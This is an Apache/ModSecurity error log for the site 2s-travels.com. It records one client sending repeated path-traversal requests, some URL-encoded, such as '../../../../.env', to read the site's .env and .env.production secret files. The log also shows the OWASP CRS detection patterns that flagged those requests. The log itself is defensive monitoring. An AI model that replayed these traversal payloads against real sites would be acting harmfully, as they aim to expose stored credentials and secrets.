[Fri Jul 17 08:55:05.609825 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?document=../../../../../.env&token=C59UGls6dlxZywRu7zDXG2wN-ONI44J1hRgNXgRuamwQGbKDmAnKsOaft-iVRzM7XEG748VLtwkxLpX949SyAzKJ_q3CkLSux1Nv5L4D-5OAlCxQHXgHrIeS2zEjbfM8VuI3ejB_G6WYh-4iLBIbhVZu2XycAb1dbzHiiGMazERANfzLzu6tiofnpelNhMVlSoMoEiiDfZYTcZKlGDj5jiwK-M01jhlMKdXQZlxBNSYeiLx7eAXrtKui2v6H8onPUuHNUoYyLS1U4AOVzd4BsXzB&ref=OEKAKEHFBBJFROWAPLQQTLY222HZJDIFGIEGGTRFDOZIZ7KBKOUSSNM4HHSUVCIWSR5R4R5VVJFJQK7JZ4DZXYXLCILPG7XR3D7XRZD7W3DL7VD5ODWZS5ECHQJ3N4JJ67XXXJ577IPB5A..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PegAAABk"]
[Fri Jul 17 08:55:05.609898 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?document=../../../../../.env&token=c59ugls6dlxzywru7zdxg2wn-oni44j1hrgnxgruamwqgbkdmanksoaft-ivrzm7xeg748vltwkxlpx949syazkj_q3cklsux1nv5l4d-5oalcxqhxghries2zejbfm8vui3ejb_g6wyh-4ilbibhvzu2xycab1dbzhiigmazeranfzlzu6tiofnpelnhmvlsomoeiidfzytczklgdj5jiwk-m01jhlmkdxqzlxbnsyeilx7eaxrtkui2v6h8onpuuhnuoyyls1u4aovzd4bsxzb&ref=oekakehfbbjfrowaplqqtly222hzjdifgieggtrfdoziz7kbkoussnm4hhsuvciwsr5r4r5vvjfjqk7jz4dzxyxlcilpg7xr3d7xrzd7w3dl7vd5odwzs5echqj3n4jj67xxxj577ipb5a..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PegAAABk"]
[Fri Jul 17 08:55:05.609934 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PegAAABk"]
[Fri Jul 17 08:55:05.609963 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PegAAABk"]
[Fri Jul 17 08:55:05.610495 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkYl9vhFBGA6D8l95jgAAAAw"]
[Fri Jul 17 08:55:05.610645 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.610935 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkYl9vhFBGA6D8l95jgAAAAw"]
[Fri Jul 17 08:55:05.611137 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PegAAABk"]
[Fri Jul 17 08:55:05.611245 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.611534 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkQ7FYe46zHK_jL3PegAAABk"]
[Fri Jul 17 08:55:05.635979 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PewAAABk"]
[Fri Jul 17 08:55:05.637761 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PewAAABk"]
[Fri Jul 17 08:55:05.638993 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkQ7FYe46zHK_jL3PewAAABk"]
[Fri Jul 17 08:55:05.639159 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.639459 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkQ7FYe46zHK_jL3PewAAABk"]
[Fri Jul 17 08:55:05.668555 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?document=..%2F..%2F..%2F.env&sid=mOry2_pnvcmumYS246NYfwMKJNmlh8Shh_5wpbkNJfsrXB4QIvbIKNOkvBruUknmym3JMVFJC-sp9SbQwJUz7d-Qs-8BnLqRyBBH-yOXL6dJ4ZDrt7rdn9emSeXaz8LPOU0OtKY4cBlRhvT4dVxV7s6UXvq0Y9d5GwPwvWzTErnjODciyOUou_mnbF06J3xXKZL9ozXueVE90uzREPTldtrNToCrD1aEzEPZ5bLLlsM4DuIz3KH-RVe1RG0-amhPK9THXm_vUBRrGWLXssprqWGv&ref=KY3SP4WZAUXMSUXZFTS5OG3NWSMOH33VQTERHWFY4SDBNYBJYPARTUR4S6W4HRNKEGWBSXOJ4OPERW2RX2HBODUTMZTNVAZBYXE3ECFE2PZUU3YWQW5W2O3MNALFTNTVWZIL4AHX..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBjgAAAAQ"]
[Fri Jul 17 08:55:05.668613 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBjgAAAAQ"]
[Fri Jul 17 08:55:05.668673 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?document=../../../.env&sid=mOry2_pnvcmumYS246NYfwMKJNmlh8Shh_5wpbkNJfsrXB4QIvbIKNOkvBruUknmym3JMVFJC-sp9SbQwJUz7d-Qs-8BnLqRyBBH-yOXL6dJ4ZDrt7rdn9emSeXaz8LPOU0OtKY4cBlRhvT4dVxV7s6UXvq0Y9d5GwPwvWzTErnjODciyOUou_mnbF06J3xXKZL9ozXueVE90uzREPTldtrNToCrD1aEzEPZ5bLLlsM4DuIz3KH-RVe1RG0-amhPK9THXm_vUBRrGWLXssprqWGv&ref=KY3SP4WZAUXMSUXZFTS5OG3NWSMOH33VQTERHWFY4SDBNYBJYPARTUR4S6W4HRNKEGWBSXOJ4OPERW2RX2HBODUTMZTNVAZBYXE3ECFE2PZUU3YWQW5W2O3MNALFTNTVWZIL4AHXXOAGBPNMLKHOXN..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBjgAAAAQ"]
[Fri Jul 17 08:55:05.668724 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?document=../../../.env&sid=mory2_pnvcmumys246nyfwmkjnmlh8shh_5wpbknjfsrxb4qivbiknokvbruuknmym3jmvfjc-sp9sbqwjuz7d-qs-8bnlqrybbh-yoxl6dj4zdrt7rdn9emsexaz8lpou0otky4cblrhvt4dvxv7s6uxvq0y9d5gwpwvwzternjodciyouou_mnbf06j3xxkzl9ozxueve90uzreptldtrntocrd1aezepz5blllsm4duiz3kh-rve1rg0-amhpk9thxm_vubrrgwlxssprqwgv&ref=ky3sp4wzauxmsuxzfts5og3nwsmoh33vqterhwfy4sdbnybjypartur4s6w4hrnkegwbsxoj4operw2rx2hbodutmztnvazbyxe3ecfe2pzuu3ywqw5w2o3mnalftntvwzil4ahxxoagbpnmlkhoxn..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBjgAAAAQ"]
[Fri Jul 17 08:55:05.668753 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBjgAAAAQ"]
[Fri Jul 17 08:55:05.668780 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBjgAAAAQ"]
[Fri Jul 17 08:55:05.669893 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBjgAAAAQ"]
[Fri Jul 17 08:55:05.670007 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.670314 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkboj0IkvhSCYadmBjgAAAAQ"]
[Fri Jul 17 08:55:05.672935 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?document=..%2F..%2F..%2F..%2F.env&ts=oK4s9oXb6Zeub-kRCM3mbdol7VDAy5ga9u2b1FbEiSek80Gh1R7Ae6eK9bHTy4CwMIyQo4lSbV7vc1qv9YX1YbtmXjerqMS3iWh-qnQ-GBfdwC1QlbkVkO1pL9FJFPp-cyluMCKcGlGLBL0lLbIQVF3W1Ik4a3keavBuCtUJ_-Gt9dsOwi-s0xrmtrYUeSb1l2mClv2UgekhZ84Wp9YTV_m3eF3axnlxRmJqwYorPqeHltv65CW34LZRjzVh_CzNTljndDAZ32kmIdJcGtMqTbx_&token=BN4NR7G23VCQSOFDIQOPEDBBPYU72P7B33YAA6UMHAISUWCYAVTYOSZOWTLD2YFKUWXXSLBY7PRGIWCN5GTYPY356TA2OEMPD3NQRCUF66TZPDTZXZPZGEA2AANTMSXAPW..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkV1_86A5R6msWNfUQgAAABI"]
[Fri Jul 17 08:55:05.672991 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkV1_86A5R6msWNfUQgAAABI"]
[Fri Jul 17 08:55:05.673037 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?document=../../../../.env&ts=oK4s9oXb6Zeub-kRCM3mbdol7VDAy5ga9u2b1FbEiSek80Gh1R7Ae6eK9bHTy4CwMIyQo4lSbV7vc1qv9YX1YbtmXjerqMS3iWh-qnQ-GBfdwC1QlbkVkO1pL9FJFPp-cyluMCKcGlGLBL0lLbIQVF3W1Ik4a3keavBuCtUJ_-Gt9dsOwi-s0xrmtrYUeSb1l2mClv2UgekhZ84Wp9YTV_m3eF3axnlxRmJqwYorPqeHltv65CW34LZRjzVh_CzNTljndDAZ32kmIdJcGtMqTbx_&token=BN4NR7G23VCQSOFDIQOPEDBBPYU72P7B33YAA6UMHAISUWCYAVTYOSZOWTLD2YFKUWXXSLBY7PRGIWCN5GTYPY356TA2OEMPD3NQRCUF66TZPDTZXZPZGEA2AANTMSXAPWX625DTGXVAMQTBLI..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkV1_86A5R6msWNfUQgAAABI"]
[Fri Jul 17 08:55:05.673074 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?document=../../../../.env&ts=ok4s9oxb6zeub-krcm3mbdol7vday5ga9u2b1fbeisek80gh1r7ae6ek9bhty4cwmiyqo4lsbv7vc1qv9yx1ybtmxjerqms3iwh-qnq-gbfdwc1qlbkvko1pl9fjfpp-cylumckcglglbl0llbiqvf3w1ik4a3keavbuctuj_-gt9dsowi-s0xrmtryuesb1l2mclv2ugekhz84wp9ytv_m3ef3axnlxrmjqwyorpqehltv65cw34lzrjzvh_czntljnddaz32kmidjcgtmqtbx_&token=bn4nr7g23vcqsofdiqopedbbpyu72p7b33yaa6umhaisuwcyavtyoszowtld2yfkuwxxslby7prgiwcn5gtypy356ta2oempd3nqrcuf66tzpdtzxzpzgea2aantmsxapwx625dtgxvamqtbli..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkV1_86A5R6msWNfUQgAAABI"]
[Fri Jul 17 08:55:05.673094 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:document: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkV1_86A5R6msWNfUQgAAABI"]
